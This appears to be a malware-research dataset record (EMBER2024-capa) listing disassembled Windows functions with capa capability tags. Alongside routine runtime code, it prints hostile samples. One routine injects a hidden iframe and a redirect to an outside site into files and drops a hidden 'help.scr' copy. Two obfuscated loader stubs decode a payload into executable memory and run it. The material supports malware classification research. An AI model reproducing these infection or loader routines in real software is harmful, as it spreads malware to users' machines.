joyce8/EMBER2024-capa huggingface dataset:
Function at 0x418bf5
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.00418b71
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x418d64
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x418d64
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x418d19
jg 0x418c51
test eax, eax
je 0x418d0f
push 1
push 0x1000
call fcn.0040c51f
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x418c74
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x418d06
push 0x8000
push ebx
call fcn.0040a8e9
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x418c9d
jg 0x418c98
cmp ecx, 0x1000
jb 0x418c9d
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.0040eb01
add esp, 0x10
cmp eax, 0xffffffff
je 0x418ce2
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x418c98
jl 0x418cc9
test ecx, ecx
jne 0x418c8a
push dword [ebp - 0xc]
push ebx
call fcn.0040a8e9
push esi
call fcn.0040c1a0
add esp, 0xc
xor ebx, ebx
jmp 0x418d72
cmp byte [edi + 0x24], 0
je 0x418cf9
cmp dword [edi + 0x20], 5
jne 0x418cf9
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x418d04
mov ebx, dword [edi + 0x18]
jmp 0x418d06
xor ebx, ebx
push esi
call fcn.0040c1a0
pop ecx
jmp 0x418d72
test ecx, ecx
jg 0x418cdb
jl 0x418d19
test eax, eax
jae 0x418cdb
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00414d51
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x418d39
cmp byte [edi + 0x1c], 0
je 0x418cdb
jmp 0x418d6a
push ebx
call fcn.00410c91
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x418cdb
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x418d72
cmp byte [edi + 0x1c], 0
je 0x418d6f
mov ebx, dword [edi + 0x18]
jmp 0x418d72
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.00414d51
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41a870
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41a89d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41a89d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x407458
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x407467
pop dword [ebp - 0x50]
mov eax, 0x407467
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x716f29ff
add dword [ebp - 0x60], 0xdce31b4c
mov dword [ebp - 0x5c], 0x499a37ec
sub dword [ebp - 0x5c], 0x1766eba7
mov dword [ebp - 0x58], 0xb6a60b3d
sub dword [ebp - 0x58], 0x6a59c70f
mov dword [ebp - 0x54], 0xefea6eb2
add dword [ebp - 0x54], 0x1015914e
lea eax, [ebp - 0x60]
push eax
mov eax, 0x546707b8
add eax, 0xabd978c0
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0xdbf91da8
sub dword [ebp - 0x60], 0x6786b452
mov dword [ebp - 0x5c], 0x869d1eb1
sub dword [ebp - 0x5c], 0x4530bd3c
mov dword [ebp - 0x58], 0x7c4c35cd
add dword [ebp - 0x58], 0xe723369f
mov dword [ebp - 0x54], 0x89b43c2a
add dword [ebp - 0x54], 0x764bc3d6
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x75543fd3
sub eax, 0x7513bf57
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x364d4
push 0
call eax
mov ecx, 0x2fc4134d
add ecx, 0xd03c3180
mov ebx, eax
mov edi, 0x459200
add edi, dword [ebp - 0x50]
mov edx, 0xa59e16b3
sub edx, 0x6dd47f68
xor dword [ebp - 0x40], 0x84f6c233
mov esi, dword [edi]
sub dword [ebp - 4], edx
sub esi, edx
sub dword [ebp - 0x20], ebx
mov dword [ebx], esi
mov dword [ebp - 0x18], 0x5bd8bc81
add ebx, 4
add edi, 0x66e32122
add edi, 0x991cdee2
loop 0x40757e
add eax, 0x531d9506
sub eax, 0x531c8eff
xor ebx, ebx
add ebx, eax
add eax, 0x5c471c29
add eax, 0xa3b8e3dc
mov ecx, 0xc07d7607
add ecx, 0x3fc289f9
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x10001ec0
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov esi, eax
push ebx
mov ebx, edx
sub esp, 0x214
mov eax, dword [0x100070c0]
test eax, eax
je 0x10001f78
mov dword [esp], ebx
call eax
mov dword [ebx + 8], eax
sub esp, 4
test eax, eax
jns 0x10001f00
mov eax, dword [ebx]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
lea edi, [ebp - 0x214]
mov dword [esp + 8], 0x104
mov dword [esp + 4], edi
mov dword [esp], esi
call dword [sym.imp.kernel32.dll_GetModuleFileNameW]
mov eax, dword [ebx]
sub esp, 0xc
mov edx, dword [eax]
mov dword [esp + 8], edi
mov dword [esp + 4], str.MODULE
mov dword [esp], eax
call dword [edx + 0xc]
sub esp, 0xc
mov dword [esp + 8], 0x104
mov dword [esp + 4], edi
mov dword [esp], str.SystemRoot
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableW]
mov eax, dword [ebx]
sub esp, 0xc
mov edx, dword [eax]
mov dword [esp + 8], edi
mov dword [esp + 4], str.SystemRoot
mov dword [esp], eax
call dword [edx + 0xc]
sub esp, 0xc
jmp 0x10001eec
mov dword [esp], str.atl100.dll
call dword [sym.imp.kernel32.dll_LoadLibraryW]
sub esp, 4
test eax, eax
je 0x10001fad
mov dword [esp + 4], str.AtlCreateRegistrar
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [0x100070c0], eax
sub esp, 8
test eax, eax
jne 0x10001edd
mov dword [ebx + 8], 0x80004002
xor eax, eax
jmp 0x10001eee
Function at 0x404de0
Capabilities:
Check if file exists
Copy file
Delete file
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push edi
push 0xc8000
call fcn.0042d3bf
add esp, 4
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x404f3d
push 0xc8000
push 0
mov ecx, dword [ebp - 8]
push ecx
call fcn.0061cde0
add esp, 0xc
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00404cb0
add esp, 8
push 0
push 0x800
push str._iframe_src_help.scr__width_1__height_1__frameborder_0______iframe_
mov ecx, dword [ebp - 8]
push ecx
call fcn.00405d40
add esp, 0x10
cmp eax, 0xffffffff
jne 0x404f24
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push str._iframe_src_help.scr__width_1__height_1__frameborder_0______iframe_
mov eax, dword [ebp + 8]
push eax
call fcn.00404d30
add esp, 0xc
test eax, eax
je 0x404f24
cmp dword [ebp + 0xc], 0
je 0x404e89
push 1
push str._meta_http___equiv___refresh__content___15_urlhttp:__www.yzzswt.com__
mov ecx, dword [ebp + 8]
push ecx
call fcn.00404d30
add esp, 0xc
push 1
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00404d30
add esp, 0xc
push 0x5c
mov ecx, dword [ebp + 8]
push ecx
call fcn.00403e40
add esp, 8
test eax, eax
je 0x404f24
push 0x5c
mov edx, dword [ebp + 8]
push edx
call fcn.00403e40
add esp, 8
mov byte [eax], 0
mov eax, dword [ebp + 8]
add eax, 0xffffffff
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov dl, byte [ecx + 1]
mov byte [ebp - 1], dl
add dword [ebp - 0xc], 1
cmp byte [ebp - 1], 0
jne 0x404ec7
mov edi, dword [ebp - 0xc]
mov eax, dword [str.help.scr]
mov dword [edi], eax
mov ecx, dword [0x7172d0]
mov dword [edi + 4], ecx
mov dx, word [0x7172d4]
mov word [edi + 8], dx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x404f24
push 1
mov ecx, dword [ebp + 8]
push ecx
push 0x76e5f0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x27
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.0042d3c8
add esp, 4
mov dword [ebp - 8], 0
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x402899
Capabilities:
Clear file content
Get common file path
Get keyboard layout

Disassembly:
sub esp, 0x800
push esi
push edi
xor esi, esi
xor edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
cmp edi, 0x58ced85
jg 0x4028bd
inc edi
cmp edi, 0x1f6502b1
jl 0x4028a5
cmp dword [0x2befa9c], 0x400
jne 0x402912
push str.Natipesun_subuguketevam_jutivotitag_roto_jam
push str.Ximoniwek
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push esi
push esi
call dword [sym.imp.USER32.dll_DdeCmpStringHandles]
push esi
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameW]
push str.yogihubuwefugus
push esi
call fcn.00402f48
push esi
push esi
push esi
call fcn.00402f18
push esi
push esi
call fcn.00402d34
push esi
call fcn.0040318c
push esi
call fcn.0040319b
add esp, 0x24
xor edi, edi
cmp edi, 0xd0fe
jge 0x402923
push esi
call dword [sym.imp.USER32.dll_GetCaretPos]
push esi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
cmp edi, 0x3a37ee
jg 0x40294a
inc edi
cmp edi, 0xe52f
jl 0x402914
mov eax, dword [0x4312d4]
mov dword [0x2befa9c], eax
call fcn.004025e3
mov edi, 0x3078f
cmp dword [0x2befa9c], 0x51f
jne 0x402976
push esi
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
dec edi
jne 0x40295e
pop edi
xor eax, eax
pop esi
add esp, 0x800
ret 0x10

Function at 0x408ee7
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x430410]
jne 0x408ef1
repz ret
jmp fcn.0040b930
Function at 0x409f5f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x430410]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00406881
and dword [ebp - 0x14], 0
cmp dword [0x43be68], 0
mov dword [ebp - 0x18], eax
jne 0x40a012
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40a0ba
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40a0ba
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x43be68], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x43be6c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x43be70], eax
call edi
push eax
call esi
mov dword [0x43be78], eax
test eax, eax
je 0x40a012
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x43be74], eax
mov eax, dword [0x43be74]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40a06b
cmp dword [0x43be78], ecx
je 0x40a06b
push eax
call esi
push dword [0x43be78]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40a06b
test ebx, ebx
je 0x40a06b
call edi
test eax, eax
je 0x40a062
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40a062
test byte [ebp - 8], 1
jne 0x40a06b
or dword [ebp + 0x10], 0x200000
jmp 0x40a09e
mov eax, dword [0x43be6c]
cmp eax, dword [ebp - 0x18]
je 0x40a09e
push eax
call esi
test eax, eax
je 0x40a09e
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40a09e
mov eax, dword [0x43be70]
cmp eax, dword [ebp - 0x18]
je 0x40a09e
push eax
call esi
test eax, eax
je 0x40a09e
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x43be68]
call esi
test eax, eax
je 0x40a0ba
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40a0bc
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408ee7
leave
ret
Function at 0x4093a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x4093af
pop dword [ebp - 0x18]
mov eax, 0x4093af
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x26f5dc7f
sub dword [ebp - 0x28], 0xd8a39734
mov dword [ebp - 0x24], 0x7362f97
add dword [ebp - 0x24], 0x2afd1cae
mov dword [ebp - 0x20], 0xef9675b4
sub dword [ebp - 0x20], 0xa34a3186
mov dword [ebp - 0x1c], 0x6a6926f3
sub dword [ebp - 0x1c], 0x6a6926f3
lea eax, [ebp - 0x28]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xfa57fef4
add dword [ebp - 0x28], 0x7a1a6a62
mov dword [ebp - 0x24], 0xb0179464
sub dword [ebp - 0x24], 0x6eab32ef
mov dword [ebp - 0x20], 0x2e00ed01
add dword [ebp - 0x20], 0x356e7f6b
mov dword [ebp - 0x1c], 0x37f6cb2a
add dword [ebp - 0x1c], 0xc80934d6
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x66ea57c2
sub eax, 0x66a89776
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x36a32
push 0
call eax
mov ecx, 0x93957903
add ecx, 0x6c6abb5b
xor ebx, ebx
add ebx, eax
mov esi, 0xc00f1f1e
sub esi, 0xbfcbf51e
add esi, dword [ebp - 0x18]
mov edi, 0x5d857f5a
xor dword [ebp - 0x14], edx
mov edx, dword [esi]
add dword [ebp - 4], ebx
add edx, edi
add dword [ebp - 0x10], eax
mov dword [ebx], edx
xor dword [ebp - 0xc], 0x944a440c
add ebx, 4
add esi, 0xaa3a433f
sub esi, 0xaa3a433b
loop 0x4094c3
add eax, 0xc44b
mov ebx, eax
add eax, 0x206167c4
add eax, 0xdf9e9841
mov ecx, 0xcaca4b73
add ecx, 0x3575b48d
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x409908
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x424070]
jne 0x409912
repz ret
jmp fcn.0041156c
Function at 0x40b032
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x40b053
jl 0x40b04a
test edi, edi
jne 0x40b053
xor eax, eax
xor edx, edx
jmp 0x40b114
cmp dword [ebx + 0x38], 0
je 0x40b068
push eax
push edi
push dword [ebp + 8]
call fcn.0040b11a
jmp 0x40b114
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x40b0af
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x40b0af
cmp eax, edi
jb 0x40b089
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.0042dce0
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x40b0b5
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x40b109
mov ecx, ebx
call fcn.0040a708
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x40b0f4
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.00457bc1
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x40b109
jmp 0x40b0c7
test edx, edx
je 0x40b109
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.00457bc1
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc

Function at 0x41b4a7
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
xor edx, edx
push esi
mov esi, dword [ebp + 0xc]
cmp dword [ebp + 0x10], edx
jbe 0x41b4ca
movzx eax, byte [esi + edx]
xor eax, ecx
imul ecx, eax, 0x1000193
inc edx
cmp edx, dword [ebp + 0x10]
jb 0x41b4b8
mov eax, ecx
pop esi
pop ebp
ret

Function at 0x42b80d
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
call fcn.0045a1e3
push 2
lea ecx, [ebp - 4]
push ecx
mov eax, dword [eax + 0x14]
push 0x22
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
movzx eax, word [ebp - 4]
sub eax, 0x30
je 0x42b84c
sub eax, 1
je 0x42b847
sub eax, 1
je 0x42b843
xor eax, eax
leave
ret
push 3
jmp 0x42b84e
xor eax, eax
inc eax
leave
ret
push 2
pop eax
leave
ret

Function at 0x42d03d
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x42d07c
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42d07c
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42d07c
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x42d07c
cmp dword [ecx + 0x74], 0xe
jbe 0x42d07c
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x468fa4
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x48d914
push 0x48d90c
push str.FlsAlloc
push 0x1e
call fcn.00468c74
mov esi, eax
add esp, 0x10
test esi, esi
je 0x468fd8
push dword [ebp + 8]
mov ecx, esi
call dword [0x48820c]
call esi
jmp 0x468fde
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x469022
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x48d924
push 0x48d91c
push str.FlsGetValue
push 0x20
call fcn.00468c74
mov esi, eax
add esp, 0x10
test esi, esi
je 0x469059
push dword [ebp + 8]
mov ecx, esi
call dword [0x48820c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x46e7e5
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0046e3cc

Function at 0x46ed13
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0042d520
mov eax, dword [0x49a040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0046b872
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x46ed55
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x46eeb1
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00482360
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x4e7ce8]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.004702a6
mov ecx, dword [esi*4 + 0x4e7ce8]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x46eeaa
cmp eax, dword [edi + ecx + 0x24]
jne 0x46eeaa
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x46eeaa
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004702a6
add esp, 0x14
test edx, edx
jl 0x46eeaa
jg 0x46ee20
test eax, eax
jb 0x46eeaa
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x46eeaa
jl 0x46ee3a
cmp dword [ebp - 0x1008], eax
ja 0x46eeaa
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x46ee58
test ebx, ebx
je 0x46ee91
cmp ecx, edi
jae 0x46ee91
mov al, byte [ecx]
cmp al, 0xd
jne 0x46ee72
lea eax, [edi - 1]
cmp ecx, eax
jae 0x46ee7e
cmp byte [ecx + 1], 0xa
jne 0x46ee7e
inc ecx
jmp 0x46ee7e
movzx eax, al
movsx eax, byte [eax + 0x49a320]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x46ee58
cmp edx, ebx
jne 0x46ee58
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x46eeaf
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0042c374
leave
ret
Function at 0x46f42f
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x4e7ce8]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x46f46f
cmp byte [ebx], 0xa
jne 0x46f46f
or byte [eax + edi + 0x28], 4
jmp 0x46f474
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x46f572
mov al, byte [edx]
cmp al, 0x1a
je 0x46f554
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x46f4a3
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x46f4c8
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x46f4d2
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x46f485
jmp 0x46f572
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x46f54f
cmp dword [ebp - 0xc], 0
je 0x46f54f
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x4e7ce8]
test byte [eax + edi + 0x28], 0x48
je 0x46f529
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x46f514
mov byte [esi], dl
jmp 0x46f525
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x4e7ce8]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x46f572
cmp byte [ebp - 1], 0xa
jne 0x46f538
cmp esi, ebx
jne 0x46f538
mov byte [esi], 0xa
jmp 0x46f571
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004702c4
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x46f572
mov byte [esi], 0xd
jmp 0x46f571
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x4e7ce8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x46f56e
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x46f572
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret